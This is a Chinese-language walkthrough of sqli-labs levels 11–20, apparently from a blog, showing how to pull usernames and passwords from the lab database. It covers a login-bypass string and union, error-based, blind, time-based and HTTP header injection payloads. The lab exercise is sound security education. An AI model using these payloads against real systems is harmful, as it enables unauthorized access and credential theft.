1. 程式人生 > >sqli-labs通關----11~20關

sqli-labs通關----11~20關

第十一關

從第十一關開始,就開始用post來提交資料了,我們每關的目的都是獲取users表下password欄位的內容。
post是一種資料提交方式,它主要是指資料從客戶端提交到伺服器端,例如,我們常常使用的使用者登入模組、網站的留言板模組等,在這些功能模組中我們提交的資料都是以
我們可以用抓包軟體來修改post提交的資料。
首先測試一下是字元型還是數字型,再輸入的使用者名稱和密碼之間輸入一個'檢視是否報錯

可以看到,有報錯,說明是字元型注入,由於我們不知道密碼,但是因為這裡有sql注入我們可以用個萬能密碼,username輸入admin' or '1'='1 --+ 之後不管我們輸入什麼密碼都可以登入


可以看到有兩個顯示位,之後思路還是跟之前第一關一樣,先查有幾個欄位

看到3報錯那就輸入2頁面正常了。然後就是常規操作了。
爆資料庫名:

uname=7admin' union select version(),database()#&passwd=123&submit=Submit


爆表名:

uname=7admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #&passwd=123&submit=Submit


爆列名:

uname=7admin' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #&passwd=123&submit=Submit


查所有使用者名稱和密碼:

uname=7admin' union select group_concat(username),group_concat(password) from users#&passwd=123&submit=Submit

第十二關

這關和十一關差不多就是閉合改成了")
爆內容:

uname=7admin") union select group_concat(username),group_concat(password) from users#&passwd=123&submit=Submit

第十三關

這關只有輸入為真回顯字母為藍色,假為紅色,也會報錯,所以可以用報錯和盲注。這裡是用')來閉合

具體的步驟看前面第五關,這裡就用報錯注入。
爆密碼:

&uname=admin') and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#&passwd=123&submit=Submit

第十四關

這關不會報錯,可以用盲注。測試一下發現是”雙引號閉合,然後又是常規套路。
爆密碼:

&uname=admin" and substr((select password from users limit 0,1),1,3)='dum'#&passwd=admin&submit=Submit

第十五關

這一關直接用上一關的payload也可以(改單引號),想多掌握一點可以用時間延遲來注入
爆表名:

&uname=admin' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1)#&passwd=admin&submit=Submit


爆資料:

&uname=admin' and if(substr((select password from users limit 0,1),1,3)='dum',sleep(5),1)#&passwd=admin&submit=Submit

第十六關

這一關一樣,只是把閉合改為")

第十七關

這關對使用者名稱的輸入很嚴謹怎麼變形都不行,但是對密碼的輸入控制的不嚴謹,這關檢視原始碼發現,不管輸入什麼密碼都是對的,但是通過order by還是看得出又sql注入

既然怎麼輸入都是對的,那盲注就沒用了,但是有報錯這裡就用報錯注入,之前第五關有步驟,不再贅述。
爆資料庫名:

爆表名:

到了查詢資料的時候,發現不能直接查詢會報錯

因為在同一個語句中,不能先查詢表中的值再update這個表,可以先把查詢出的值作為一個派生表,然後在這個派生表裡面再次進行查詢。
爆資料:

uname=admin&passwd=7' and updatexml(1,concat('#',(select * from (select concat_ws (' ',id,username,password) from users limit 0,1) a)),1)##&submit=Submit

第十八關

這關對username和password的輸入都做了嚴格的過濾,那怎麼辦呢,這關一進來就顯示了我們的ip,就聯想到了header頭注入,修改http頭的User-Agent引數,檢視原始碼發現是insert函式寫入資料庫,
然後我們得知道mysql Insert語句的用法
Insert into member(username,pw,sex,phonenum,email,address)values(‘xxxxxxxx’,11111,1,2,3,4);
要構造閉合首先在我們可以輸入的部分就是‘xxxx’裡插入報錯函式,
注意要成功登陸才能注入
報資料庫:

' and updatexml(1,concat(0x7e,database()),0) and '1
' and updatexml(1,concat(0x7e,database()),1),"1","1")#

這裡語句可以用and,也可以用or

' or updatexml(1,concat(0x7e,database()),0) or '1


爆列名:

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1)),0)and '1


爆內容:

' and updatexml(1,concat(0x7e,(select group_concat(password) from users )),0)and '1

第十九關

這關跟上關一樣,就是換成了修改referer的值,一樣的payload

第二十關

這關根據題目提示應該是在cookie上進行修改,看回顯cookie的格式是uname=admin,所以構造payload

uname=admin' and updatexml(1,concat(0x7e,(select database())),0) #


這裡有個坑,就是不能用POST方法提交資料,不然回顯就很奇怪...

爆表名:

uname=admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #


之後就是常規操作了